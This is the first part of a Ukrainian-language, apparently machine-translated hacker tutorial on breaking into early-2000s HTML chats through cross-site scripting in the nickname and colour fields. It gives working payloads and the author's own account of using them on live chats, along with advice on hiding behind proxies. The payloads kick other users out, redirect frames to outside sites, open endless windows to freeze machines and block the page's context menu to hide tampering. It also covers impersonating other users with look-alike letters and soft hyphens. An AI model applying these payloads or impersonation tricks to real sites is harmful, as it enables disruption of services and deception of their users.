Злом чату ч.1 (Теорія і Практика)



  • Частина 1
  • Частина 2


  • Дана сторінка ні в якій мірі не закликає до незаконної діяльності, "крекерству" і т.п. Основна мета - дослідження особливостей HTML і попередження помилок пов'язаних з його використанням. За будь-яке незаконне використання наданої інформації автор відповідальності не несе. Про всі виявлені помилки в чатах, адміністрація чатів була проінформована автором.
    Всі приклади, наведені в статті протестовані і працюють в MSIE 5.50.4134.0600. Працездатність в інших версіях гарантувати не можу, але впевнений, що практично всі приклади будуть працювати і там.

    глосарій

    Злом через ник (обробник без лапок)
    Злом через ник (обробник укладений в лапки)
    Злом через ник (фільтр не пропускає лапок / потрібних символів)
    Злом через колір (атрибут без лапок)
    Злом через колір (атрибут з лапками)
    На які символи потрібно перевіряти фільтри
    обмежувачі обробників
    Підробка ніків, порожні ники

    Загальна теорія

    Тут я хочу зупинитися на ази злому чатів. Заздалегідь извеняюсь перед просунутими читачами - ці методи давно відомі і старі як світ. Якщо Ви досить просунуті, можете навести фокус на наступні глави.

    Насамперед хочу зауважити, що кожен чат по своєму оригінальний і унікальний (за винятком розтиражованих копій однієї цгішкі зрозуміло). Тому абсолютно універсальних способів злому немає. Практично в кожному чаті є особливості, які потрібно враховувати, і без урахування яких, тупі шаблони працювати не будуть.

    Перш за все, що я, власне, розумію під зломом HTML чату? Це не банальний флуд, і не атаки на IP чату. Під зломом будемо розуміти несанкціонованих змін HTML документа чату, або доступ до прихованих його частин (наприклад приват), тобто такий вплив на чат, яке не було передбачено і дозволено для користувачів. Це в рівній мірі відноситься не тільки до чатах, а й до форумів, гостьових книгах і т.д. (Де всі описані методи теж працюють і навіть краще, оскільки ці форми захищені, як правило, гірше ніж чати).

    Все описане стосується лише HTML чатах. Злом Java чатів - окрема і зовсім інша пісня. Сподіваюся Ви зможете відрізнити один тип чатів від іншого :) ).

    Отже, ми стоїмо на порозі HTML чату. Припустимо, що ми хочемо перевірити його на "міцність". Що робити в першу чергу? В першу чергу ми підключаємося через анонімний проксі (сподіваюся Ви знаєте що це таке). Це потрібно з двох причин: по-перше ми забезпечуємо свою анонімність (що б дядько адмін НЕ надавав по попці), а по-друге, якщо адміну все ж не сподобаються наші експерименти і він закриє нам кватирку в чат, то ми б могли перемикати свої проксі на інші IP адреси і знову заходити в чат. Правда тут є одне але: вхід на деякі чати не вирішено через публічні проксі.

    Далі ми повинні з'ясувати, яке власне зброю у нас є, то є якісь атрибути може задавати користувач. Як правило, у всіх чатах можна вводити НІК юзера, а також КОЛІР юзера. Крім цього, іноді можна задавати МИЛО юзера, його домашню веб-сторінку, підлогу, частоту оновлення чату та ін. На практиці інтерес представляють такі поля як колір, нік, мило і домашня сторінка користувача. Саме вони вставляються безпосередньо в тіло документа, і тому саме через них можна атакувати чат. Слід зазначити, що в деяких чатах потрібна реєстрація, і частина атрибутів задається при реєстрації, а частина - безпосередньо перед входом в чат (або вже всередині чату). Чати з реєстрацією, як правило, більш круто наворочені і краще захищені.

    > Позначимо для себе можливі шляхи злому. Перш за все наведемо різкість на фрагмент коду форми, в котрому задається колір наших повідомлень (до речі колір може здаватися окремо як для ника, так і для тексту собщений - потрібно перевіряти і той і інший, оскільки вони можуть по різному аналізуватися чатом). Чому нас цікавить в першу чергу саме колір? Тому, що колір вказується всередині тегів, в їх параметрах, на відміну від, наприклад, ника, який найчастіше фігурує в тілі тегів. А для злому чату нам потрібно проникнути саме у всередину параметрів тега, що б можна було змінити його атрибути або вставити свій скрипт (іноді звичайно будь-які теги можна писати просто в тексті повідомлень, так до недавнього часу було, наприклад, в чаті chat.rambler. ru, але цей варіант настільки тупий, що таких чатів напевно вже не існує, і я його не розглядаю).

    Нас цікавить в якому вигляді інформація про колір відсилається на сервер. Найменш захищена строковий тип, коли колір передається у вигляді власне своєї назви. наприклад:

    <select name=youcolor style="width: 70px">
    <option value=blue>синий value=blue
    <option value=red>красный
    <option value=darkred>т-красный
    <option value=green>зеленый
    <option value=black>черный value=black
    <option value=lightblue>голубой value=lightblue
    </select>

    Такий чат, як правило, ламається в тій чи іншій мірі :) . Більш найгірший варіант, якщо колір повертається у вигляді чисельного коду:

    <select name=youcolor style="width: 70px">
    <option value=#0000FF>синий value=#0000FF
    <option value=#AF0000>красный
    <option value=#FF0000>т-красный
    <option value=green>зеленый
    <option value=#000000>черный value=#000000
    <option value=#0000AF>голубой value=#0000AF
    </select>

    У такому чаті, можливо, стоять фільтри на всі символи крім цифр, знаку # і букв A, B, C, D, E і F. Тоді про злом через колір доведеться забути.

    І нарешті найгірший варіант, коли колір передається просто у вигляді номера зі списку допустимих кольорів:

    <select name=youcolor style="width:70px">
    <option value=1>синий <
    <option value=2>красный <
    <option value=3>т-красный <
    <option value=4>зеленый <
    <option value=5>черный <
    <option value=6>голубой <
    </select>

    Як правило, такий чат через колір зламати неможливо (а часто і взагалі неможливо). Це самий захищений варіант (до речі, рекомендую розробникам чатів).

    Далі нам потрібно змінити HTML код так, що б ми могли вільно відсилати на сервер довільні значення атрибутів. Для цього зберігаємо сайт у себе на диску і міняємо форму входу в чат (або реєстрації) седующім чином: міняємо відносний адресу параметра action форми на повну адресу. Замінюємо всі теги типу hidden на тип text, а теги select міняємо на input. Крім того потрібно зняти обмеження на довжину значення, що вводиться (якщо воно є). Наприклад якщо вихідна форма мала вигляд:



    <form name="logon" method="POST" action="/cgi-bin/chat/chat.cgi">
    <table cellspacing="0" cellpadding="0">
    <tr>

    <td valign="middle">
    <small>Nickname:</small>
    <input type="text" name="username" size="12" maxlength="12" >
    </td>

    <td valign="middle"><small> TextColor:</small>
    <select name="color">

    <option selected value="black">black
    <option selected value="red">red
    <option selected value="blue">blue
    </select>

    </td>
    <td valign="middle">

    <small>
    <input type=submit value="Join Chat">
    </small>
    </td>

    <input type=hidden name=message value="logged on.">

    <input type=hidden name="logon" value="">
    <input type=hidden name=to value="Room">
    <input type=hidden name=frames value="yes">

    </td>
    </tr>
    </table>

    </form>


    Те після відповідних замін отримаємо:



    <form name="logon" method="POST" action="http://typachat.ru/cgi-bin/chat/chat.cgi">

    <table cellspacing="0" cellpadding="0">
    <tr>

    <td valign="middle"><small>Nickname:</small>

    <input type="text" name="username" >

    </td>

    <td valign="middle"><small> Text Color:</small>

    <input name="color">

    <option selected value="black">black
    <option selected value="red">red
    <option selected value="blue">blue

    </select>

    </td>
    <td valign="middle">

    <small>
    <input type=submit value="Join Chat">
    </small>
    </td>

    <input type=text name=message value="logged on.">

    <input type=text name="logon" value="">

    <input type=text name=to value="Room">
    <input type=text name=frames value="yes">

    </td>
    </tr>
    </table>

    </form>


    Зауважимо, що документ може створюватися динамічно через функції типу document.write (), тоді, швидше за все, доведеться перетворити його в статичний вид. Крім того, часто буває так, що після збереження HTML на диску, чат не хоче відкриватися. Це може бути викликано тим, що сайт був збережений в повному обсязі, якщо він складався з фреймів. У такому випадку потрібно більш ретельно розібратися в структурі сторінки і зберегти все правильно. Інша причина може полягати в тому, що сервер відстежує поле referer заголовка http запиту, і засікає то, що ми заходимо ні з його сторінки. У такому випадку потрібно застосовувати інші методи, на яких ми зупинимося в розділі "Злом на рівні http".

    Тепер ми можемо експериментувати з чатом. Перш за все потрібно з'ясувати які фільтри стоять на вводяться значення (спочатку для кольору і ника). Нас цікавлять в першу чергу такі символи:

    " ' ` = < > ; \ & % пробіл

    Вводимо їх в поле кольору і ника, заходимо в чат (якщо нас туди пустять з такими атрибутами, якщо не пустять, доведеться перебирати символи поштучно), і дивимося які символи були пропущені фільтром (написавши в чат що-нить типу "hello", і посмортев в HTML тексті які символи кольору і ника присутні). Деякі чати просто видаляють фільтровані символи, деякі замінюють їх на інші символи, а деякі перетворять в закодовану форму типу <або '. Такі перетворені символи нас не влаштовують, оскільки HTML їх не сприймає (однак більш докладно про це дивіться в розділі "Ще кілька зломів багатостраждального чату Т").

    В результаті у нас повинен бути список пропускаються символів для кожного атрибута реєстраційної форми.

    Далі перед нами стоїть завдання проникнути всередину будь-якого тега для того, що б змінити його праматрь або вставити туди свій скрипт. Існує два принципово різних способу це зробити: перший полягає в тому, що б потрібний нам код передавався через атрибути, які вже знаходяться всередині тега (тобто між кутовими дужками) - наприклад через колір або адреса мила. Другий полягає в тому, що б порушити структуру HTML коду таким чином, що б потрібний нам код опинився всередині тега. Як це зробити визначається з аналізу конкретної структури чатовского коду і набору нефільтрованих символів для наших атрибутів. Різні варіанти злому розглянемо на наступних прикладах. А поки я хотів би зупинитися на деяких особливостях HTML, які власне і дозволяють виробляти цікаві "ефекти".

    особливості HTML

    P> Тут я не збираюся читати лекцію по HTML для чайників. Я сподіваюся що Ви знаєте що таке тег і його параметри, знайомі з JavaScript і написали хоч одну веб-сторінку в своєму житті на HTML (а не у FrontPage).

    Найбільша біда (і разом з тим і сила) HTML в тому, що у нього немає єдиного стандарту. Тобто він як би є, але стандарти настільки різношерсті, і їх так багато переплітається в HTML, що ніхто досконально його не знає (а часто і не знає що він є). Крім того конкуренція серед браузерів і різношерстність сайтів веде до того, що браузери намагаються підтримувати якомога більше число стандартів і технологій. Причому відсутність єдиних стандартів призвело до того, що веб майстра навіть на одній сторінці примудряються упереміш писати в різних стилях: о (. Однак саме це дозволяє хакерам зламувати HTML, і доставляє багато головного болю розробникам.

    Просте запитання: які є роздільники в HTML і JavaScript? Навіть я не можу відразу і однозначно відповісти на це питання. Розглянемо приклад:

    <font onclick= "alert()">Text</font>

    Тут все зрозуміло і очевидно. Є тег у якого є обробник події кліка, написаний на JavaScript, текст якої укладено в подвійні лапки. Те, що использутся саме JavaScript можна вказати явно:

    <font onclick="javascript:alert()">Text</font>

    Обмежувачами рядки в цих прикладах служать подвійні лапки. Однак можна обійтися і без них. Оскільки після onclick = може йти тільки статична рядок-обробник, то HTML допускає опустити лапки (це відноситься до багатьох випадків, коли аргумент може бути тільки рядком-константою). Таким чином така конструкція теж працює:

    <font onclick=alert()>Text</font>

    а тепер замість порожнього повідомлення вставимо що небудь осмислене:

    <font onclick=alert('Привет друзья!')>Text</font>

    Відкривши посилання демонстрації видно, що даний приклад не працює. Причина ось у чому: тіло обробника годі й брати в лапки, але в такому випадку перший же пробіл вважається кінцем рядка-обробника (навіть якщо сам пробіл знаходиться всередині лапок). Тому браузер вважає обробником лише фрагмент alert ( 'Привіт, і виявивши незамкнені лапки видає повідомлення про помилку. А чому браузер не реагує на те, що пропуск знаходиться всередині лапок? Я думаю причина в тому, що тут поєднуються дві мови: HTML і JavaScript. браузер "побачив" що після знака = немає лапки і тому став шукати прогалину - як кінець обробника. Середина обробника ж його на цей момент не цікавила, оскільки вона відносилася не до HTML, а до JavaScript. Таким чином відкриває лапки він просто не помітив і прийняв пробіл за кінець значення параметра. Спостерігає конструкції працюють без помилок:

    <font onclick="alert('Привет друзья!')">Text</font>
    <font onclick=alert('Привет_друзья!')>Text</font>
    <font onclick="alert('Привет друзья!')"onmouseover='alert()'>Text</font>
    <font color=alert('Привет друзья!')>Text</font>

    Відзначимо важливу особливість: якщо значення параметра тега знаходиться в лапках, то пробіл перед наступним параметром можна опустити (третя сходинка прикладу). Четвертий рядок прикладу теж працює (в тому сенсі що браузер не лається, але скрипт звичайно не спрацьовує), оскільки браузер не вважає вміст атрибута color JavaScript-ом, і отже не лається на незамкнені лапки, хоча як значення кольору береться тільки фрагмент alert ( ' Привіт (в якості кольору в HTML може виступати довільна рядок, в цьому випадку браузер перетворює рядок у якесь числове значення яке і вважає кольором).

    Чи є інші символи - обмежувачі обробника без лапок (крім пробілу і символу>) - питання відкрите. Я таких не знаю, але припускаю що вони можуть бути.

    Як вже видно з наведених прикладів, обмежувачами рядків можуть бути подвійні і одинарні лапки. Це в рівній мірі відноситься як до HTML, так і до JavaScript, проте, виявляється є, принаймні, ще один символ, який є обмежувачем рядків в HTML (але не в JavaScript!). Це символ зворотного апострофа `(зазвичай знаходиться на одній клавіші з літерою Е). Можна переконається на наступному прикладі:

    <font onclick=`alert('Привет друзья!')`>Text</font>

    Клянуся, що як мінімум 90% веб-майстрів про це не знають! У всякому разі я ще не бачив, що б хто небудь застосовував зворотний апостроф. Цей символ - знахідка для хакера :) ).

    Часто буває так, що необхідно використовувати всередині одних лапок - інші. А це важко, особливо якщо чат пропускає тільки один вид лапок. Але виявляється JavaScript дозволяє вставляти рядкові константи всередину інших строкових констант, і при цьому користуючись одними й ті мі ж лапками! наприклад:

    'javascript:st='Фиг вам';document.oncontextmenu=new Function('event.returnValue=alert(st)*0')'

    У прикладі використовуються вкладені одинарні лапки, проте інтерпретатор помилки не видає. Зазначу, що вміст внутрішніх лапок не довільно: там не повинні міститися прогалини, і в кінці неприпустимі деякі символи, наприклад; або).

    Тепер поговоримо про посилання. В першу чергу потрібно відзначити таку деталь: розвиток інтернету відбувалося так, що в ньому змішувалися абсолютно різні технології. Доступ до інформації може відбуватися за допомогою великого числа різних протоколів. Тому при вказівці повного шляху документа (URL) допускається вказувати будь-який із знайомих браузеру протоколів. Примітно те, що javascript теж віднесений до протоколів (хоча таким не є, але мабуть розробники порахували що буде занадто жирно виділяти для скриптів окреме поняття, і зарахували їх до протоколів). Тому всюди, де в HTML документі можна вказувати URL, можна вставити скрипт. І цей скрипт буде виконуватися як тільки користувач (або сам браузер) зажадає дане посилання. наприклад:

    <a href=javascript:alert()>Text</a>

    Цікаво, що крім операторів, на засланні на JavaScript можна просто вказувати строкове (або числове) значення (проте обов'язково після операторів, якщо вони є). При натисканні на таку посилання браузер спочатку виконає йшли попереду оператори, а потім відкриє новий документ і помістить туди значення останньої зазначеної на засланні рядки:

    <a href=javascript:alert();'Hello!!'>Text</a> Зазначу що теги таким чином вставити в нову сторінку не можна.

    Злом чату R

    Наведу приклад одного з перших зламаних мною чатів. Цей чат був дуже простим, і зламувався що називається з першого заходу :) ).

    Та й мало зараз залишилося чатів, в яких це проходить. Хоча я додумався до цих методів сам, але потім я їх знайшов і в хакерських журналах.

    Вхідна форма цього чату в точності відповідала формою, наведеною в розділі "Загальна теорія". Після перетворення і збереження форми на диску, я перевірив які символи в атрибуті кольору проходять. Виявилося що проходять такі символи (з тих що нас цікавлять-см. Гл "Загальна теорія"):

    ' ` = ; % пробіл

    Ну і звичайно ж проходили всі цифри і букви. Довжина рядка-значення кольору обмежувалося. Далі я подивився куди саме вставляється колір у розіграші повідомлень. Ось фрагмент цього фрейму:

    <font color=Black><b>Путник</b>- Alpha, привет ))</font>
    <font color=Red><b>Alpha</b>- Всемприветик !!</font>

    Як видно, колір вставляється без оточуючих лапок. Це мене влаштовувало. Я залогінився під ніком Shram (ну або майже під таким ніком;)) і кольором red size = 20. Моє повідомлення виглядало наступним чином:

    <font color=red size=20><b>Algol</b>- Hi</font>

    Воно виводилося дуже великим шрифтом, що трохи здивувало населення чату :) ).

    Таким чином, незважаючи на те, що непосредствено теги ми вставити не можемо, але дозвіл на введення пробілу в атрибуті кольору, дозволило нам задавати несанкціоновані параметри тега. Однак мені цього було звичайно мало. Міняти розмір шрифту звичайно класно, але дійсно щось корисне можна зробити тільки використовуючи скрипти. Вставити безпосередньо тег script я не міг (вірніше в той час я ще не знав як це зробити). Але я міг задати обробник на будь-яку подію тега. Ось який колір я задавав для того, що б видалити якого-небудь придурка з чату:
    #A0A000 onmouseover=parent.frames[2].forms[0].ExitChat.click() size=30. І потім посилав йому довге довге повідомлення в приват. Колір повідомлення я підібрав таким чином, що б воно не відрізнялося від фонового кольору. А розмір шрифту і довга повідомлення були такими величезними, що жертва напевно хоч раз пройшлася мишкою за повідомленням, в результаті чого мій обробник onmouseover натискав кнопочку "залишити чат" замість юзера :) ).

    Однак, поступово знайшлися розумники, які розкусили прикол, і навмисно не возили курсор по вікну чату. Мій скрипт спрацьовував не завжди :( (. Спочатку я думав, що виходу немає. Оскільки я можу вставляти скрипт тільки як обробник події, тоді якщо ця подія не відбувається, то і скрипт не спрацьовує. Але, покопавшись в "анналах", я знайшов рішення (зараз воно вже стало тривіальним і широко відомим). Виявилося, що в атрибуті style можна вказувати URL фонового малюнка для тега. А де можна вказувати URL, там можна записати і скрипт. А головне те, що фоновий малюнок завантажувався сам, після закінчення завантаження HTML документа! Якщо я хотів показати Алерт учасникам чату, я логін з наступним кольором:

    style=background-image:url(javascript:alert('приветик_всем_!!'));

    Слід зауважити важливу деталь: оскільки структура більшості HTML чатів така, що сторінка регулярно оновлюється, то скрипт посланий таким чином виконується не один раз, а багато, до тих пір поки наше повідомлення не зникне з екрану.

    А ось як тепер виглядало значення атрибуту кольору для викидання з чату:

    style=background-image:url(javascript:parent.frames[2].forms[0].ExitChat.click());

    Потрібно пам'ятати: скрипт посланий в публічному чаті, побачить не тільки ваш "співрозмовник", але і ви самі, тому треба знати як самому захиститися від впливу скрипта. Це можна зробити двома способами: або поставити самого себе в ігнор (і тоді ми не будемо бачити власні повідомлення), або в налаштуваннях браузера заборонити відображення картинок. Тоді скрипт, що спрацьовує через фоновий малюнок, працювати не буде.

    Тепер я хочу показати некотрие корисні скрипти, які можна застосовувати під зламаних чатах:

    javascript: navigate ( 'http://myserver.ru'); - Завантажує в поточний фрейм (або сторінку) сайт myserver.ru.
    Деякі чати, побачивши фрагмента http: // вважають це посиланням, і автоматично вставляють тег <a>. Оскільки це зруйнує наш скрипт, то цього не можна допускати. Для цього потрібно просто опустити префікс http: (який і так приймається за замовчуванням). Тоді скрипт буде виглядати: javascript: navigate ( '// myserver.ru'); .Два Йдуть попереду слеші - обов'язкові.

    javascript: parent.frames [2] .document.location = 'http: //myserver.ru' - завантажує в один з фреймів сайт myserver.ru.

    javascript: for (;;) open () - відкриває нескінченне число вікон (якщо вчасно не зорієнтуватися, то призводить до зависання машини і подальшої перезавантаження).

    javascript: document.write ( '<script> alert () </ script>') - замінює поточний фрейм скриптом, який потім виконується. Примітка: якщо чатні пропускає символи <та> (а це переважна кількість чатів) то такий скрипт ми вставити не зможемо. Але є вихід. Це застосування функції unescape (), яка перетворює ASCII-код символу в символ. Замінимо кутові дужки на функцію unescape () з відповідними кодами, тоді наш скрипт набуде вигляду:

    javascript:document.write(unescape('%3C')+'script'+unescape('%3E')+'alert()'+unescape('%3C')+'/script'+unescape('%3E')) javascript:this.insertBefore(e=document.createElement('IMG'));e.src='demo.jpg' - вставляє картинку після тексту. Зауважу, що в IE 5.x вставити можна будь-тег крім FRAME, IFRAME і SELECT.

    Але в IE 4.x функція createElement () допускає вставку тільки тегів IMG, AREA і OPTION. Інформації щодо Netscape не маю, можете поекспериментувати самі. 'javascript:st='Фиг вам';document.oncontextmenu=new Function('event.returnValue=alert(st)*0')' / * блокує меню, що випадає сторінки, і отже робить недоступним перегляд HTML вміст фрейма. Завдяки цьому можна приховувати свої махінації з тілом чату :) ). * / Іноді буває корисно логинится під чужим ніком. Чати з системою реєстрації користувачів не дозволять вам це зробити, якщо ви не знаєте пароля (а ви його швидше за все і не знаєте). Банальний вихід: реєстрація з ніком в якому буква латинського алфавіту заменятеся на дуже схожу букву російської розкладки. Наприклад логіном під ніком admin де латинська літера а замінена на російську а. Метод примітивний, але працює)). Бувають і більш важкі випадки. Наприклад в деяких чатах заборонено використання в одному ніку символів з різних розкладок. Тоді допитливому розуму нічого не залишається робити, як звернеться до дядька Гейтсу за допомогою. І ось вона доброта людська, Microsoft не забув про грішних користувачів і подарував нам символ ­ (він же ­ він же% AD), який сама Мікрософтвера назвала "Soft hyphen" ( "Короткий дефіс"). Він дійсно в Word виглядає як дефіс, і в екселя теж, і навіть в блокноті, але тільки не в IE! Для майкрософтовського ескплорера символу ­ просто не існує, тобто він як би є, але для нього забули зробити графічне представлення. Він просто напросто НЕ промальовується в HTML сторінці! Таким чином, додавши короткий дефіс до будь-якого нику і зарегестрированной під ним, ми входимо в чат з ніком, який буде виглядати на HTML сторінці точно так само як і нік без дефіса. А можна зробити ще крутіше - залогінитися під ніком, сотоящій тільки з символів короткого дефіса. Тоді ваш нік взагалі не буде відображатися в чаті, абсолютно порожнє місце)).

    (Примітка: Повозившись еше трохи з символом короткого дефіса я все ж виявив випадки, коли він з'являється: Він з'являється тільки як символ перенесення. Тобто якщо всередині слова варто короткий дефіс і якщо це слово варто в кінці рядка, то частина слова після дефіса може бути перенесена на наступний рядок, а сам дефіс стає видимим! Таким чином, можливо невидимість дефіса - навмисна фіча Майкрософта (що втім, не зменшує його корисність при зломи :) ). Правда незрозуміло чому ж він все-таки залишається завжди видимим в інших додатках?)



    Далі 2год. >>